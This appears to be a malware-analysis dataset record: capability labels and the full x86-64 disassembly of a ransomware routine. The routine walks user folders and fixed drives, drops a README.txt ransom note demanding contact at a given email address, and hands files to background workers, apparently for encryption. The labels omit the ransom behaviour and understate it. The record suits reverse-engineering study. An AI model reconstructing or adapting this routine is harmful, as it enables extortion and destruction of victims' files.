Function at 0x140001850
Capabilities:
Enumerate files on windows
Get common file path
Get disk information

Disassembly:
push rbp
push rsi
push rdi
push r12
push r15
lea rbp, [rsp - 0x890]
sub rsp, 0x990
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x870], rax
vmovups xmm1, xmmword [0x1400044b0]
vmovups xmm0, xmmword [0x140004470]
vmovups xmm2, xmmword [0x1400044a0]
vmovups xmmword [rbp + 0xd0], xmm1
vmovups xmm1, xmmword [0x140004490]
vmovups xmmword [rbp + 0xc0], xmm0
vmovups xmm0, xmmword [0x1400044d0]
vmovups xmmword [rbp + 0xf0], xmm1
vmovups xmm1, xmmword [0x1400044e0]
vmovups xmmword [rbp + 0xe0], xmm0
vmovups xmm0, xmmword [0x1400044c0]
vmovups xmmword [rbp + 0x110], xmm1
vmovups xmm1, xmmword [0x140004480]
vmovups xmmword [rbp + 0x100], xmm0
vmovups xmm0, xmmword [0x1400044f0]
vmovups xmmword [rbp + 0x130], xmm1
vmovups xmm1, xmmword [0x140004500]
mov qword [rsp + 0x988], r13
mov r15, rcx
vmovq rax, xmm1
vmovups xmmword [rbp + 0x120], xmm0
vmovups xmm0, xmmword [0x140004460]
xor r13d, r13d
mov qword [rsp + 0x38], 0
vmovq rcx, xmm2
mov rsi, r9
mov r12, rdx
vmovups xmmword [rbp + 0xb0], xmm2
vmovups xmmword [rbp + 0x140], xmm0
vmovups xmmword [rbp + 0x150], xmm1
cmp rcx, rax
jne 0x140001969
vpextrq rcx, xmm2, 1
vpextrq rax, xmm1, 1
cmp rcx, rax
je 0x140001d22
mov qword [rsp + 0x9d0], rbx
lea rcx, [rbp + 0xb0]
mov qword [rsp + 0x980], r14
lea rbx, str.C:Windows
lea r14, str.C:UsersPublic
lea rdi, str.C:UsersDefault
nop word [rax + rax]
lea r9, [rsp + 0x38]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
jne 0x140001cdd
mov rdx, qword [rsp + 0x38]
lea rcx, [rbp + 0x160]
mov r8d, 0x104
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstombs]
mov qword [rsp + 0x48], rdi
mov rax, rbx
xor edi, edi
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], 0
nop dword [rax]
mov rdx, rax
lea rcx, [rbp + 0x160]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140001ccb
mov rax, qword [rsp + rdi*8 + 0x48]
inc rdi
test rax, rax
jne 0x1400019f0
lea r9, [rbp + 0x160]
mov edx, 0x200
lea r8, str._s
lea rcx, [rbp + 0x670]
call fcn.140001120
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x670]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x140001cc4
nop dword [rax]
nop word [rax + rax]
lea rcx, [rbp - 0x64]
lea r8, [0x140006180]
sub r8, rcx
nop
movzx edi, byte [rcx]
movzx edx, byte [rcx + r8]
sub edi, edx
jne 0x140001a83
inc rcx
test edx, edx
jne 0x140001a70
test edi, edi
je 0x140001c9e
lea rax, [rbp - 0x64]
lea rdi, [0x14000617c]
sub rdi, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + rdi]
sub edx, ecx
jne 0x140001ab2
inc rax
test ecx, ecx
jne 0x140001aa0
test edx, edx
je 0x140001c9e
lea rax, [rbp - 0x64]
mov edx, 0x200
lea r9, [rbp + 0x160]
mov qword [rsp + 0x20], rax
lea r8, str._s_s
lea rcx, [rbp + 0x470]
call fcn.140001120
test byte [rsp + 0x70], 0x10
je 0x140001b0b
mov r9d, 1
mov qword [rsp + 0x20], rsi
mov r8, r12
lea rcx, [rbp + 0x470]
mov rdx, r15
call fcn.1400014e0
jmp 0x140001c9e
mov edx, 0x2e
lea rcx, [rbp - 0x64]
call qword [sym.imp.VCRUNTIME140.dll_strrchr]
lea r9, [rbp + 0x160]
mov edx, 0x100
lea r8, str._sREADME.txt
mov rdi, rax
lea rcx, [rbp + 0x270]
call fcn.140001120
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x270]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
test eax, eax
je 0x140001bfe
test rdi, rdi
je 0x140001b73
lea rdx, str..lnk
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140001bfe
lea r9, [rbp + 0x160]
mov edx, 0x100
lea r8, str._sREADME.txt
lea rcx, [rbp + 0x270]
call fcn.140001120
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x270]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
test eax, eax
je 0x140001bfe
lea r9, [rbp + 0x160]
mov edx, 0x100
lea r8, [0x1400062b8]
lea rcx, [rbp + 0x370]
call fcn.140001120
lea rdx, [0x1400062b4]
lea rcx, [rbp + 0x370]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rdi, rax
test rax, rax
je 0x140001bfe
mov r8, rsi
lea rdx, str.Your_files_have_been_fucked._nYour_personal_ID:__s_nWhat_can_you_do_about_it__nPlay_chess_against_me._If_you_win__you_will_get_your_files_back._nSend_your_personal_ID_to_d3cryptme_firemail.cc_nYou_will_get_a_chess_invite._nGoodluck_
mov rcx, rax
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov ecx, 0x38
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x140001c9e
lea rcx, [rbp + 0x470]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__strdup]
mov qword [rbx], rax
test rax, rax
je 0x140001c95
vmovups ymm0, ymmword [r15]
vmovups ymmword [rbx + 8], ymm0
vmovups xmm0, xmmword [r12]
vmovups xmmword [rbx + 0x28], xmm0
lea r8, [0x140006940]
mov rdx, rbx
lea rcx, [0x140001180]
vzeroupper
call qword [sym.imp.KERNEL32.dll_CreateThreadpoolWork]
test rax, rax
je 0x140001c69
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SubmitThreadpoolWork]
jmp 0x140001c9e
mov rdi, qword [rbx]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rdi + rcx], 0
jne 0x140001c73
xor eax, eax
rep stosb byte [rdi], al
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor eax, eax
mov ecx, 0x38
mov rdi, rbx
rep stosb byte [rdi], al
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea rdx, [rsp + 0x70]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140001a60
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rbx, str.C:Windows
lea r14, str.C:UsersPublic
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
lea rdi, str.C:UsersDefault
inc r13d
lea rcx, [rbp + 0xb0]
movsxd rax, r13d
shl rax, 4
add rcx, rax
mov rax, qword [rcx]
cmp rax, qword [0x140004500]
jne 0x1400019a0
mov rax, qword [rcx + 8]
cmp rax, qword [0x140004508]
jne 0x1400019a0
mov r14, qword [rsp + 0x980]
mov rbx, qword [rsp + 0x9d0]
mov r13, qword [rsp + 0x988]
mov dil, 0x41
nop dword [rax]
lea rcx, [rsp + 0x30]
mov byte [rsp + 0x30], dil
mov word [rsp + 0x31], 0x5c3a
mov byte [rsp + 0x33], 0
call qword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x140001d69
xor r9d, r9d
mov qword [rsp + 0x20], rsi
mov r8, r12
lea rcx, [rsp + 0x30]
mov rdx, r15
call fcn.1400014e0
inc dil
cmp dil, 0x5a
jle 0x140001d30
mov rcx, qword [rbp + 0x870]
xor rcx, rsp
call fcn.1400024e0
add rsp, 0x990
pop r15
pop r12
pop rdi
pop rsi
pop rbp
ret